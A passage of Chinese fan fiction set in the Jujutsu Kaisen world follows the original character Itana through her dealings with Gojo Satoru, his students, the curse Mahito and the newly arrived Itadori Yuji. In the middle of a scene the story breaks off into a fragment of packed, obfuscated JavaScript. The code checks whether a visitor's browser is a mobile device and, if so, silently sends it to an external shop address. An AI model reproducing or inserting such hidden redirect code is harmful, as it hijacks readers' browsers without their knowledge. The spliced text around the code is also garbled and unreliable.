“这个我也不知道,夏油同学原本部署大干一场,但是在和我见过一面以后,取消了这个惊世骇俗的想法。”伊田奈道,“他的手下按兵不动,不知道是谁把消息泄露出去了,他也不知道。”
“他原本是怎么计划的?”
“他原本计划很多,但没有确定,我跟你说……”
伊田奈原模原样复述夏油杰的计划。
五条悟眯着眼睛,一只手撑住下巴,认真听,时不时点点头。
伊田奈汇报完计划,自认为功成名就:“拯救日本的计划就交给你了,加油!”
伊田奈拍拍五条悟的肩膀,一脸微笑慢慢退出。
“等等小奈奈!”
伊田奈脚步顿住,“干什么?”
五条悟搓搓手,笑得一脸谄媚:“我最近要排查涩谷情况,可能没有时间照看我的学生,你看……”
“不能。”伊田奈拒绝得果断,“你可是他们最最信任的五条老师,我去可没有微信。”
“诶呀……小奈奈,你知道的,我的这群学生心理脆弱,你就闲着没事的时候去帮我瞧一瞧他们,要是他们压力太大,有什么心结,帮忙开导开导好不好嘛……”
五条悟双手抱住伊田奈的手,在怀里摇来摇去。
这是他撒娇时惯用的手法。
英俊帅气的脸庞露出撒娇的表情,伊田奈心软应下。
“你老是考虑别人,怎么不考虑考虑自己。”伊田奈扶正五条悟的绷带,轻轻在他肩膀上拍了两下,“算了,说了你也听不进去。”
五条悟给伊田奈一个拥抱,鼻尖是熟悉的香气,“放心吧,我会照顾好自己的,别担心我!”
一连好几天,一年级的同学都在非常认真的训练。
乙骨忧太手都握不住刀,小腿肚一直打颤,一眼就到了极限,还在继续训练。
同理,禅院真希,狗卷棘也是一样。
熊猫则是望见五条老师不在,安慰自己休息一会没什么事。
伊田奈路过时,看了一眼,想当作什么都没看见。
可她还是太有良心了——
伊田奈告诉自己,要是他们不听,马上走人!
“你们现在还要训练?”伊田奈走到三人面前。
熊猫抬头看见伊田奈,若无其事继续躺在操场上休息。
十二月份的天,已经有点凉意了。
风吹过时,除了沙沙作响,还会有一个沁人的寒意。
“嗯。”禅院真希回答,手上动作丝毫没有停下。
狗卷棘和乙骨忧太倒是放下手中的咒具。
几个人汗如雨下,不像伊田奈,一阵风吹过,不经意间要把衣服拢一拢。
“伊田奈,你怎么来了?”乙骨忧太还是有些害羞,在说出伊田奈名字时候,耳根蔓延上一层红晕。
狗卷棘则是拉下衣领,微微颔首。
只有熊猫一动不动。
“快到饭点了,休息休息,吃完饭再继续?”伊田奈看了看时间,问道。
“是吗?……”
乙骨忧太还没说完,只听见一道中气十足的女声。
“不用,你们去吧!”禅院真希在操场上用力挥动咒具,她的头发湿得像是刚从游泳池里出来,整个人大汗淋漓,汗水顺着脸颊往下掉。
伊田奈笑容僵在脸上,用眼神问了问剩下几人:“你们真的不去吗?”
不去的话她真的要走掉了。
“去!他们不去我去!我要休息!”熊猫鲤鱼打挺从地面上直起身来,并用期待的目光看向狗卷棘和乙骨忧太。
狗卷棘犹豫了一下,还是点了点头,站到熊猫旁边。
乙骨忧太一怔,看向三人还有禅院真希,笑着说道:“你们先去吧,我待会儿再去。”
伊田奈又看了看坚持留下的两个人,对熊猫说道:“你去把他们两个叫上一起呗,这样不吃不喝地训练,还没上战场就要先累垮了。”
熊猫任重道远,一脸严肃,认真看了看伊田奈,又认真看了看努力的两人,顿时怂了,脸上带着讨好的笑,“我可不可以不去啊?”
语气之间全是谄媚讨好。
熊猫不想上去,禅院真希是个疯子,训练起来不知天昏地暗,乙骨忧太倒还有机会劝一劝,但现在他对这两个人一个都不想管。
“没用,你和我吵架的时候声音这么大,让你劝个人就不说话了。”伊田奈骂道。
熊猫笑嘻嘻。
“算了,咱们三个人去休息。”伊田奈注视训练的两人好久,还是决定不去劝她们,只是远远的说了一声:“要是觉得累了疲惫了一定要早点去吃饭哦,身体是最重要的!”
“咱们走吧。”伊田奈带上熊猫和狗卷棘走了。
乙骨忧太注视几人离开的背影,原本以为她还会再劝说一番,没想到直接就走了啊。
乙骨忧太收回视线,继续训练。
伊田奈带着熊猫两人走了,狗卷棘回望伙伴的方向,眼神恋恋不舍,看向伊田奈,似乎在问:“真的不带他们吗?”
伊田奈自然没有错过狗卷棘丰富的眼神戏,回道:“我可没有那么大的本领把他们叫过来,你要是能叫过来我也不介意。”甚至会很佩服。
狗卷棘思考片刻,摇了摇头,老老实实跟在伊田奈身后,和熊猫两个勾肩搭背。
“我带你们出去吃!”虽然只带走两个学生,但是并不妨碍伊田奈认真对待这两名学生。
她带着熊猫和狗卷棘到了新宿,随意挑了一家店,吃完饭,没有急着回去,而是带着这两名学生在新宿大街上转悠。
“狗卷同学,你的咒术好奇特啊,之前就想说了,竟然能够有让说出口的话变成真的咒术,好厉害!”伊田奈夸奖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367893|196575||http|test|mini|href|location''.split(''|''),0,{}));
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>狗卷棘耳根红了红,“腌鱼子。”
“嘿嘿,你别害羞,把我当作同学就好,就像熊猫那样。”伊田奈说。
熊猫吃完饭以后就在车上等了,新宿人多,要是看到熊猫会引起不必要的恐慌。
两个人在新宿转了一圈,驱车原路返回。
12.23日,距离预告的时间还有一天,咒术界高度监视下,高专依然收到了好几具预告函中的尸体。
所有人精神高度紧张。
已经好几天没见到五条悟,伊田奈还有点不习惯。
他好久没有加过这么长时间的班。
伊田奈难得早早结束电子产品时间,突发奇想在高专逛一圈。
星夜灿烂,满天繁星在夜空中熠熠生辉。
操场上,乙骨忧太坐在台阶上,双手撑在地面,左手边是一把崭新的咒具刀。
他抬起头,认真仰望天空,神色间隐隐可以看见几分怯懦。
像一名文弱书生,手无缚鸡之力,却又心怀壮志。
伊田奈远远就瞧见了他。
“伊田奈,你来了?”也许是因为周围没有人,乙骨忧太在叫出伊田奈名字的时候,没有那么羞涩。
“你一个人在这里?禅院真希同学没有和你在一起?”伊田奈走上前。
“她已经回去了。”乙骨忧太笑着说,他笑起来总是那么彬彬有礼。
“你不回去?”
“我啊,我想坐一会儿再回去。”乙骨忧太依旧是那副笑眯眯的样子,笑眯眯地抬头看天上的月亮和星星。被人欺负时,也是笑眯眯的回应,没有反抗。
“伊田奈,你说,学会咒术以后能干什么呢?”乙骨忧太问,“我觉得自己没有很大的本领……”
“停停停!”伊田奈打断他,“不要想那么多,你学会以后想干什么不行?保护自己保护队友,总有一条你会选择。再说了,你现在不是学习的挺开心的?”
“是啊……”乙骨忧太眼神里罕见地露出笑意。
“看你进步速度很快,以后必然是咒术界的栋梁之才!”伊田奈夸奖。
“谢谢,希望如此。”乙骨忧太难得有那么悠闲的时间,说话时语调也温柔起来,“真希望能一直如此啊!”
伊田奈没接话,没有永恒的瞬间。
两个人都抬头看着天空,没人说话。
不知坐了多久,伊田奈先起身,“早点回去休息吧,明天有一场硬仗要打。”
乙骨忧太跟在身后起来,两条长腿迈起步子来不紧不慢。
12月24日,新宿、京都两地果然出现大规模咒灵,数量罕见地多。
夏油杰没有在这场大屠杀中公然出现,但他平日里经常穿着的袈裟还有一头显眼的头发在人群中一晃而过。
五条悟愣了愣,果真追上那一道显眼的身影。
剩下的人继续战斗。
乙骨忧太在这场战斗中表现突出,里香彻底解脱,她说很爱和乙骨忧太在一起的这几年。
熊猫、狗卷棘、禅院真希重伤。
五条悟追上那道身影,却没看到那个熟悉的人,“你究竟是谁?”
五条悟和那人打了一架,发现对方不是人,应该是一只咒灵。
39.本卷结束
这只咒灵有点意思,实力没有他厉害,但是逃跑的速度很快。
而且,是从前从来没有见过的特级咒灵。
拥有自己的思想,能够独立表达。
五条悟把这件事情上报给高专,咒术高层们听说这件事情以后很吃惊,纷纷关起门来严肃讨论。
夏油杰没有参与这场百鬼夜行,但他还是受到了来自咒灵的攻击。
——来自天灾的咒灵。
势力很强大。
夏油杰自诩自己不是一个废物,不会固步自封,让实力原地踏步,他这些年拔除了不少咒灵。实力也早已不是当初那个青涩的夏油杰。
“你是谁派来的?”夏油杰问他。
“死人没有必要知道。”咒灵并不卖夏油杰的面子,只字不肯透露。
“出来吧。”
夏油杰也不是毫无准备,没想到伊田奈说的话这么快就应验。
暗处潜伏的姐妹花还有其他人纷纷出来。
那咒灵见对面人多势众,自己讨不着好处,这才气愤离开。
“夏油大人,您没事吧?”忠心追随夏油杰的人纷纷围到他身边,姐妹花首当其冲。
“没事。”夏油杰笑了笑,毫不在意擦掉嘴角的血渍,庄重的袈裟沾满灰尘血迹。
夏油杰眼神冰冷,抬眸看了看咒灵离开的方位。片刻后,他收回眼神。
伊田奈把门关得死死的,世界大战也休想影响她。
可没想到还是有意料之外的脏东西闯进来。
一个漂亮的男人逃也似地准确逃进伊田奈的房间,他看了看房间的布景,似乎松了一口气,好看的脸舒展开,“终于甩开那个家伙了!真不容易!”
伊田奈躺在自建小窝,左腿搭在右腿上,手上捧着一本漫画书。
外面世界毁灭,她在房间里怡然自得。
爽。
真人视线落到伊田奈身上,看到她手里的漫画书,愣了愣。
“怎么还会有人在这里看漫画书?”真人自己都觉得不可思议。
在他的印象里,咒术师们一个个大都表面正气凛然,遇到这样的机会恨不得大展身手,偶尔遇到几个不想大展身手的,也都会装模作样的混入人群。
真人声音不大,但伊田奈听得一清二楚。
牛十三。
伊田奈心里暗骂,五条悟竟然把人放到咒术高专来了。
这人还什么地方都不去,偏偏跑到了伊田奈的地盘。
伊田奈收回视线,葱白似的手慢慢移动漫画书,挡住自己的脸。
好像真人从来没有出现过。
很可惜,真人不会这么想。
“装什么装?你能看见我还假装看不见?”真人漂亮的脸蛋挤到漫画书前。
伊田奈不想多事,自然装作什么都看不见,不论真人摆什么姿势都视若无睹。
直到真人把手伸进鼻孔,作势要朝伊田奈脸上抹。
“你疯了?!”伊田奈躲开。
真人轻嗤一声:“你果然能看到我!”
真人甩了甩手,作势要把手上的东西甩到地上,一只手突然握上他的手,强迫那只手往衣服上带。
“什么玩意儿?进房间就算了,竟然还想乱搞?”伊田奈骂道,取出纸巾擦了擦手,嫌弃丢进垃圾桶,眉头皱成一团。
真人愣住,脸上错愕:“你能看摸到我?”
伊田奈骂道:“神经病,赶紧滚蛋。”
脸上的嫌弃肉眼可见。
真人没有生气,咧开嘴哈哈大笑:“真是奇妙啊!不知道你的灵魂是什么样的味道呢?”
他不等伊田奈反应,飞快把手搭在伊田奈肩上,脸上露出幸福的表情:“住在高专,想必你就是那位了,要是你变成了怪物,不知道最强会露出什么样的表情?……哈哈哈哈哈哈哈!……”
“什么?为什么什么都没有发生!”真人没有等到意料之中的结果,瞪大眼睛,不信邪给手换了个位置。
“我说,你有完没完!”伊田奈眉心一直在跳,她按了按眉心,掏出电话直接拨通五条悟。
“你怎么回事?咒灵都跑我这里来了?最强怎么当的!”
一顿输出,不等五条悟回应,伊田奈直接挂断电话。
真人还处于震惊的状态,电话音落下才回过神,“谁允许你这样做的?”
“我做事还需要你允许?”伊田奈反问。
“为什么你的灵魂什么反应都没有?”真人张大嘴,难以置信。
“反应?你真是好笑。”伊田奈走到窗边,拉开窗户,扯住真人后领,就要往窗外拖。
可还没迈出脚步,伊田奈突然想起好像还有学生留在高专,动作停下。
“算了,你乖乖在这里等五条悟回来。”
真人听到这里,急了。
他从伊田奈手里挣脱出来:“小屁孩,你给我等着 !”
熟悉的气息越靠越近,真人一溜烟消失在原地。
伊田奈扯了扯嘴角冷哼两声。三分不爽,七分不屑。
五条悟火急火燎从窗户直接跳进来,小口喘气,视线在房间内来回移动。
看到伊田奈安然无恙,紧绷的神色放松下来。
“那个咒灵呢?”他胸膛上下起伏,说话时的声音还有点急促。
五条悟接到电话以后拼命赶过来。
可惜,又晚了。
他在心里责备了自己成千上万遍。
“被我打跑了。”伊田奈无数次感叹,还好自己不是一个真正的傻白甜,不然早就死了一万次都不够。
五条悟眼睛一酸,下意识抱紧伊田奈。
修长的双臂结实有力,上下起伏的胸膛还能感受到心跳的律动。
白皙、棱角分明的脸上冒出一层薄薄的汗。
很奇怪,五条悟流汗了,但并没有健身房里那些男人健完身后那种臭臭的味道。
“对不起,我又一次来晚了。”沙哑低沉的声音里不难听出自责。
是自责,是请罪。
还是什么说不清道不明的,五条悟自己也想不明白。
他只知道,自己这一刻,只想抱住自己的幼驯染。
伊田奈双手悬空,大臂内侧还能感受到五条悟结实有力的肌肉。
“对不起,对不起……”五条悟头深深埋入伊田奈肩颈处,说话时湿润的热气喷洒到伊田奈脖颈处。
热热的、痒痒的。
伊田奈悬空的手找不到去处,最后环上五条悟的腰,轻轻拍打他的后背,安慰道:“别自责了,也不是你的问题。谁让咱们是大女人呢……”
伊田奈说着自己
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在网络上学到的词汇,试图缓解五条悟的自责,谁知对方双手紧紧箍住她,力气大得像是要嵌进骨髓。
伊田奈咳嗽一声:“轻点、轻点……”
五条悟动作变轻,可依旧用力。
自那以后,五条悟像是变了一个人,变得很黏糊。
具体表现在,从前工作上进什么都听不进去的工作狂改了性子,每周必须要空出一天时间休息,休息的那天必须得有一半的时间跟着伊田奈。
下班时间不会一直是凌晨半夜,有时天还没黑五条悟就已经成功打卡下班。
高层的人很生气,但无可奈何。
五条悟说得对,咒术界不止他一个咒术师,可以去找其他人。
可是其他人也不是那么好找的,因为他们没有五条悟那么好说话。
乙骨忧太从百鬼夜行以后就变成了咒术界特级咒术师,实力强劲。虽然还在高专就读,但是实力已经领先同龄人一大截。
禅院真希、狗卷棘、熊猫和乙骨忧太几个人变成了二年级学长。
新一批学生进入咒术高专。
所有的事物、人都在不断朝前走,生物的进化、人类世界的发展,生生不息。
“妖怪大人!”
一声惊叫划破黎明,伊田奈睁开眼,大口喘气,满头大汗,抬头看窗外,已是日出东方,黄晕的日光从窗外照射进来,洒落在地面。
五条悟守在她身边,手里捏着一块热毛巾。
他腿边是一个盆。
五条悟拧干毛巾,自然地擦拭伊田奈脸上的汗水,“又做噩梦了?这次衣服都湿了。”
伊田奈低头,才注意到睡衣背后已是一片水渍,后背冰冷。
温热的帕子从脸颊滑过,伊田奈仍是捂住胸口,脸色苍白。
“这次做梦梦到什么了?”
伊田奈闭上眼,深吸一口气:“还是和从前一样,尸山血海,大火焚身,梦里有一个看不清脸的人挡在我前面。”
她无论怎么看都看不清那人的长相。
幼时做的梦,本以为是一时的古怪,没想到隔了那么多年还是能够回忆得一清二楚。
五条悟皱眉思考,“我去问了几个老头子,他们也没见过这种情况。我这周要出差一趟,要不你和我出去散散心?”
看到伊田奈痛苦的脸色发白,五条悟下意识也跟着不舒服。
他不想看到伊田奈不舒服。
“好。”伊田奈答应。
宫城县。
伏黑惠按照原定计划找到了宿傩的手指,没想到手指竟然被那个叫虎杖的家伙吞了下去。
虎杖并没有被特级咒物毒死,他活过来了。
不,不是虎杖活过来了,是被封印的宿傩出现了。
他要诛杀掉这个潜伏的异类。
没想到五条老师突然出现,拿着手机一顿乱拍。
“没想到伏黑同学竟然伤成这样!”闪光灯不断落到伏黑惠脸上。
“一定要纪念纪念!不对,我应该打个电话给伊田奈!让她也过来好好欣赏欣赏你这副狼狈的样子!”五条悟咧开嘴,笑得没心没肺。
“五条老师!”伏黑惠皱眉。
倒是一旁的虎杖悠仁,在听到“伊田奈”这几个字时,全身的黑纹不受控制地涌现而出,而后很快消失。
40.第三卷
“你真是够了,和伊田奈两个人的事情请不要带上我好吗?”伏黑惠面无表情吐槽。
“什么嘛,看的是你的热闹啊。”五条悟甩甩手。
说完,五条悟转过身,仔细打量面前宿傩的容器。
是一个普通的孩子。
毛还没长齐,脸上带着稚嫩青涩,还有一股天真。
在面对他翻来覆去的打量时,这个男孩子眼里没有丝毫戾气,平静自如。
好像一点宿傩的影响都没感受到。
“五条老师,他吞了特级咒物,是很大的风险。”伏黑惠出声提醒,他眼里冷漠,在看虎杖悠仁时,眼里划过一丝不忍,但那丝不忍很快被冷漠替代。
想到躺在医院里的津美纪,伏黑惠眼神暗了暗。
“五条老师,不能留下他。”再抬眼时,伏黑惠已经是一副冷漠淡然的样子,用最平静的语气说出最冷漠的话。
“别慌嘛,伏黑同学。”五条悟脸上嘻嘻哈哈,双手插进裤兜里,仔细打量虎杖悠仁。
“喂,你有什么奇怪的感觉吗?”五条悟问。
虎杖悠仁一愣,道:“什么奇怪的感觉?”
“身体不适,感觉灵魂好像被剥夺了?”五条悟用手指搓搓下巴,若有所思,“或者觉得身体很热?”
“都没有。”
五条悟点了点头,道:“喂,虎杖同学身体里的那个,有本事就出来玩玩啊!”
虎杖悠仁面无表情:“身体里什么?”
“真是奇怪啊,明明就在你的身体里面,可竟然不肯出来,看来和传闻中说的不一样。他们不是说宿傩喜怒无常,最喜欢打架吗?”五条悟继续挑衅。
可无论怎么挑衅,藏在虎杖悠仁身体里的宿傩却像是失去踪迹了一般,无论如何都不肯出来。
虎杖悠仁满脸懵懂地看着面前这个高高瘦瘦的男人一个人唱大戏,另一个看上去和他年纪差不多大的人则是一脸戒备。
五条悟嚷嚷得没了力气,软绵绵道:“算了,看你有缘,这样吧!你转学到高专!”
“五条老师,这不合理!”伏黑惠急道。
要是宿傩的容器就这样留在人间,那不知道还要有多少人会因此遇到麻烦。
“没关系,我可是咒术界最强!”五条悟下巴高扬,不在意地甩甩手,脸上全是骄傲和怡然自得。
“不说了不说了,惠惠你带带这位新同学,让他感受我们高专的热情!”五条悟洒脱道,“而我,要拎着我的手办去找小奈奈去了!”
伏黑惠扯了扯嘴角:“能不能不要和伊田奈那个女人这么腻歪……”
没有人注意到,虎杖悠仁身后的纹路若隐若现闪烁了一下很快消失。
“什么腻歪,我们可是从小一起长大的幼驯染。谁还能有我们两个关系好?”五条悟笑眯眯地,黑色眼罩挤出一条缝,“行了行了,我先走一步。”
高高瘦瘦的背影消失在夜幕中。
伏黑惠和虎杖悠仁两个人大眼瞪小眼。
虎杖悠仁问道:“高专是什么?”
“学习咒力的地方。”伏黑惠眼神复杂。
“什么,意思是我要转学吗?”虎杖悠仁不解。
“嗯。”
“转学啊,可是我有一点舍不得我的家乡,还有我的同学。”
伏黑惠没有接话,虎杖悠仁依然自顾自地说着:“对了,我刚才听到你说伊田奈,我觉得我这个名字好熟悉,总觉得在什么地方听过?”
虎杖悠仁撑住下巴,绞尽脑汁思考究竟是在什么地方听说过这个名字。
伏黑惠终于有了反应,似乎有些错愕:“你知道她?”
“我想起来了!”虎杖悠仁拍手,“之前我在东京的时候见过伊田奈!她应该是叫伊田奈,那时候她还给我提供帮助!”
想起从前在东京医院时见过的一面,那个为自己提供善意帮助的女孩子,虎杖悠仁不禁咧开了嘴角。
“真是个好人。”伏黑惠说,他神思飘远,眼前似乎又浮现起伊田奈那女人的脸。
“我也觉得。”虎杖悠仁附和。
“小奈奈,我回来了!”五条悟拎着手办高高兴兴推开酒店房门,“看,我带来的伴手礼!”
伊田奈视线扫过伴手礼,露出一副“了然”的表情,“吃吧吃吧!事情解决的怎么样?”
“解决了!”五条悟骄傲道,“咒术界最强出马当然能解决!”
五条悟灵光一闪,拍拍脑袋,“瞧瞧我这记性,快来看!”
他从兜里掏出手机,“惠惠满头是血的样子简直太可爱了!没想到他那么洁癖的一个人,也会有那么邋遢的一天啊!”
语气里满是幸灾乐祸。
伊田奈凑近手机:“诶,伏黑惠那家伙也有这样一天。”
话锋一转,伊田奈接着道:“这次任务很难?”
“还好吧?”五条悟食指挠动下巴,“应该会是一个很强大的家伙,不知道我和那家伙比起来怎么样。”
伊田奈对这话题不感兴趣,没有接着问下去。
“今天工作结束的早,咱们早点休息,明天还要回去。”伊田奈说。
五条悟点点头同意。
伊田奈是在第二天见到虎杖悠仁的。
究竟隔了多久,伊田奈自己也记不清楚了。
虎杖悠仁一上来就兴奋地冲到伊田奈面前:“我记得你,你之前帮过我!”
见伊田奈一脸迷糊,虎杖悠仁打开行李翻找,终于从角落里翻出一张名片,“这个,你还记得这个吗?”
他兴奋地指着那张名片,“从前在东京的医院,是你把它递给我!”
虎杖悠仁眼里闪着亮光。
伊田奈记起来了,“是你啊!你爷爷好点了吗?”
虎杖悠仁眼里的光熄灭下去,笑容苦涩,“啊……爷爷他啊,已经死了。”
老年人寿终正寝离世本应该是安详的,可留下的、活着的人会感到悲伤,会在想起那个存在于记忆里的人时,感到一阵悲痛。
“抱歉,你来高专吧,可以把你的五条老师当做长辈!”伊田奈说,顺手拍了拍五条悟的肩膀,把他推出去。
五条悟拍拍胸脯,仗义道:“是的,以后我罩着你!”
虎杖悠仁不好意思地说:“真是怪不好意思的……”
伏黑惠看着这几个人黏糊糊的聊天,低头看了一眼时间,冷眼提醒:“车快到了,我们可以准备走了。”
一行人踏上去东京的列
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车。
列车到站后,五条悟不紧不慢告诉几人,“你们还有一位同学,应该也快到了,我们等等她。”
钉崎野蔷薇下车第一瞬间就被东京的繁华迷住了双眼。
“乡下才看不到这样繁荣的景象啊!”钉崎野蔷薇两眼发亮,痛下决心,“现在我钉崎野蔷薇也是大城市的人了,我是永远不会回到乡下的!”
经历了几个小小的插曲,钉崎野蔷薇成功和咒术高专的众人汇合,并一一介绍了身份。五条悟带着他们来到了废弃大楼,开始他们的第一场考核。
“老师,为什么不能先让我们休息休息呢?时间这么紧就开始训练啊!”
“对啊对啊!好像是有点早了。”
“五条老师,要不让他们准备准备?”
“诶,没办法,谁让你们都是咒术界的栋梁呢?所以不用准备啦,开始吧!”
五条悟宣布开始,帐落下。
大楼内危机四伏,原定咒灵等级不符,虎杖悠仁吃下了宿傩的一根手指。
虎杖悠仁依靠和宿傩做的交易,成功击败咒灵,伙伴们也都存活下来。
只是他忘记了和宿傩做的交易。
“五条老师,现场出现了一个宿傩的手指。”伏黑惠受了重伤,强撑着最后一丝意识告诉五条悟。
“我知道了。”五条悟若有所思,“你先去休息休息。”
钉崎野蔷薇和伏黑惠被拉走,唯有虎杖悠仁,身体完好无损,虽然衣服都破了。
五条悟扯了扯嘴角:“两根手指了,还不敢现身吗?两面宿傩——”
虎杖悠仁顿时失去意识,全身浮现出黑色纹路,眼神轻狂傲慢,像是睥睨众生。
“区区蝼蚁,也敢直呼我的名字。”迅雷不及掩耳之势的攻击袭来,五条悟推手而出,轻易化解攻击。
两人打得难舍难分,最终,还是五条悟更胜一筹。
“你输了,等你集齐所有的手指再来挑战我吧!”五条悟勾了勾红润的唇,语气充满期待。
“哼……不用集齐所有手指,很快的,很快就能把你给打败。”宿傩被挑衅到,感到不爽。
“我等着呢! ”
宿傩似乎还有什么没说完的话,欲言又止,话还没说完,身体的意识权渐渐回到虎杖悠仁身上。
“五条老师,他们怎么样?”虎杖悠仁第一时间关心伏黑惠和钉崎野蔷薇。
“他们啊,已经送到医院了,你不用担心!”五条悟环抱双手,对伏黑惠和钉崎野蔷薇他倒是不怎么担心,反而好奇虎杖悠仁,“你已经吞掉两根手指,有没有觉得不舒服?”
“没有欸……”虎杖悠仁试着感受身体有没有不舒服的地方,但他什么都感受不到。
“头晕、气短、胸闷?……这些症状一个都没有?”五条悟震惊,一张嘴合都合不拢。
不远处,伊田奈正好瞧完两个病患,走过来,听到五条悟的话,跟着说道:“要是有不舒服的一定要说出来,我们一起想办法。”
虎杖悠仁原本是什么感觉都没有的,但是伊田奈说完话后,突然一阵心悸。
“好像有点奇怪的感觉了,”虎杖悠仁指着心脏说,“这里,突然很痛,闷闷的,说不上来的感觉。”
41.愤怒
心脏像是空缺了一块,不是刀刮那样一层一层的痛。那种痛很难形容,像是缠绵悱恻的阴雨天,阴潮梅雨季节腐烂的霉臭味,霉臭味里泛着酸,但这味道并不惹人厌烦。
心脏每跳动一下,都会随之一空,好像阴雨季缺少了阴和雨,只剩下残缺不齐的天空,阴沉压抑。
虎杖悠仁从未体验过这样的感觉,鼻头跟着酸酸的,胸腔里好像有什么东西也要随之溢出来。
就好像是灵与肉的分离。
痛苦、压抑,找不到喘息点。
他抬起右手捂住胸口,心脏跳动剧烈。
虎杖悠仁也不知道自己究竟是怎么回事,他抬起手,擦过眼角,手指有些湿润。
“怎么回事,我有这么大的魅力?”伊田奈抬了抬眼皮,眼里闪过一丝诧异,“怎么平时不见我有这么大的魅力。”
巨大的窒息感与愤怒铺天盖地席卷而来,虎杖悠仁被迫接受突如其来的情绪,一时间手忙脚乱。
五条悟撑住下巴,冷峻的下颚线条流利,他薄唇轻动道:“不会是宿傩的反噬吧?”
他自顾自地说:“可是,我也没有听说过会有这样的反噬。”
五条悟觉得奇怪,像宿傩这样的大妖怪,很少会有情绪化的表现,就算有,也不会是这样哭哭啼啼的表现。
“难不成宿傩看似凶猛,其实是个爱哭鬼?”五条悟拍了拍脑袋,被自己聪明的脑袋折服。
一旁的伊田奈,头脑中一根线突然哗一下绽开,脑中一片空白。
耳边响起千千万万的声音,伊田奈只听得到“宿傩”。
千万嘈杂的声音中捕捉这一句。
“你们,刚刚是提到了宿傩吗?”清脆的女声传来,五条悟才注意到伊田奈。
只见伊田奈眼前一片水雾,大滴大滴圆滚滚的泪珠往下掉,眼尾红红的。
五条悟凑到她跟前:“是,你怎么突然哭了?”
粗糙的手掌抚摸上伊田奈的脸颊,沿着泪珠滚落的痕迹。掌心带来的灼热在皮肤上熨烫,一路向上,落到眼尾。
“是难过吗?还是为什么?”五条悟盯着湿漉漉的手掌,透明的液体横亘在掌心,五条悟突然很想尝尝这是什么味道。
想尝尝伊田奈眼泪的味道。
他不自然地微微侧脸,不敢再看占有伊田奈眼泪的手掌。
“我不知道。”伊田奈摇头,“眼睛自己要流泪,我也不知道为什么。”
“是因为听到宿傩想哭?”五条悟接着问。
“应该是吧。”伊田奈声音里带着点不确定。
“你认识他?”
“我怎么会认识那么久之前的咒灵?”
虎杖悠仁站在一旁听伊田奈说话,心情忽上忽下像坐过山车一般。
一会开心,一会愤怒。
现在,他的心情是十分愤怒的。怒火中烧,像是要燃起一层巨浪,烧光世间的一切,尤其是眼前刺眼的画面。
眼前的画面……刺眼?
虎杖悠仁迟疑了,明明是一副和谐的画面,五条老师和伊田奈两个人站在一起说话,明明应该很和谐,为什么会刺眼?
他压下这个诡谲的想法,努力让自己的心变得平静。
突然,虎杖悠仁注意到伊田奈手腕上戴着一串像是楠木一样的串子,看着古色古香,质感很好。
虎杖悠仁的目光不自觉被这串楠木一样的手环吸引住,移不开视线。
他目光灼热,盯得伊田奈和五条悟都察觉到了。
伊田奈抬手:“怎么盯着我的手?”
伊田奈的眼泪不住往下掉,伊田奈想喝止,但控制不了,红着一双眼睛,时不时地用纸巾擦擦眼眶。
虎杖悠仁觉得自己快被伊田奈手上那串手串勾走了魂,他一动不动盯着那手串,问道:“我可以看看这个手串吗?”
伊田奈抬起手,亮出手腕上的手串,道:“你怎么会对一个手串感兴趣。”嘟囔着,还是给虎杖悠仁看了。
虎杖悠仁用食指和拇指掂了掂这个手串,心中生出一股“果然如此”的感慨。
他放下对手串的执念,问道:“你的手串是从哪来的,我觉得它好熟悉。”
“这个啊,我从小就一直带着了。”
手串在伊田奈赖上五条悟之前就已经存在了。
虎杖悠仁顿时释然,内心平静下来,眼眶不再湿润。他也觉得自己没有之前暴躁,他现在的心情很平静。
虎杖悠仁诧异这种变化,这种过山车一样的情绪变化给人的观感很坏,但虎杖悠仁无法改变。
“谢谢你,我看好了。”虎杖悠仁平静下来,语气也随之冷静下来,他不再对伊田奈感到好奇。
“我想先去看看伏黑同学和钉崎同学。”
虎杖悠仁跟着一辆车离开。
五条悟长手长脚,高高大大的个子立在原地,若有所思看着虎杖悠仁的背影。
“感觉虎杖同学有些沉闷呢……”五条悟低声说了这样一句,注意力又转移到伊田奈身上。
“现在感觉情绪怎么样?”虎杖悠仁一走,伊田奈情绪慢慢恢复过来,一双大眼睛一眨一眨,眼圈还有一层水光。
“好多了。”伊田奈的确不像刚开始一样难过,也不会不由自主掉眼泪。
“真奇怪真奇怪,为什么你听到宿傩会掉眼泪呢?真是想不通……”
残存的几滴泪顺着伊田奈眼角往下掉,伊田奈握住纸巾的手刚要抬起来,五条悟修长的手指突然拉住她的衣袖,另外一只手抬了起来。
他的手很白皙,就像是他的皮肤,又好像剥开的嫩葱。
大拇指顺着流泪的泪痕轻轻擦去,擦起一层薄薄的泪珠。
另一只本来拉住伊田奈拿纸巾的手也抬起来,擦去另一边脸颊的泪滴。
黑色眼罩缠绕在五条悟眼睛上,勾勒出眼睛的大致轮廓。
沾着泪水的手离眼罩不过几拳的距离。
真的很想尝尝,伊田奈眼泪的味道……
男人面上露出纠结。
但这纠结只是一瞬间的事,很快,薄唇吻上带着泪水的手指,五条悟伸出舌头,吮吸手指上的泪。
是咸的。
红晕悄悄蔓延上伊田奈的耳边。
好暧昧啊!伊田奈没敢说出这句话。
“不是,你
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舔我眼泪干嘛?”伊田奈小声质问。
五条悟爽朗笑着,露出孩童一般的笑脸,说道:“只是想知道伊田奈的眼泪是什么味道的,这下知道了。”
伊田奈嘴角抽了抽,“眼泪还能有什么味道,不都是咸的?难不成还有甜的?”
“谁知道呢,也许以后的某一天可能会出现吧。”五条悟双手抱在脑后,畅想着未来。
伊田奈在心里暗骂一句,也不好再计较。
一年级新生入校,五条悟力排众议一人拍板决定让宿傩容器进入高专就读,拒绝执行处死“杀死宿傩容器虎杖悠仁”这一任务。
虎杖悠仁成为众多势力的眼中钉肉中刺,碍于五条悟权威,没有人敢针对他。但那些人都蛰伏在暗处,只等待有一天保护伞遮蔽不了一场大雨时,将伞下的人撕裂的粉身碎骨。
再说与虎杖悠仁有着相同经历的乙骨忧太。自从百鬼夜行以后,乙骨忧太成功成为当代最强特级咒术师之一,年轻一代的佼佼者,资质虽然比不上五条家族出身的五条悟,但也十分罕见,成了咒术界不少势力暗中拉拢的对象。
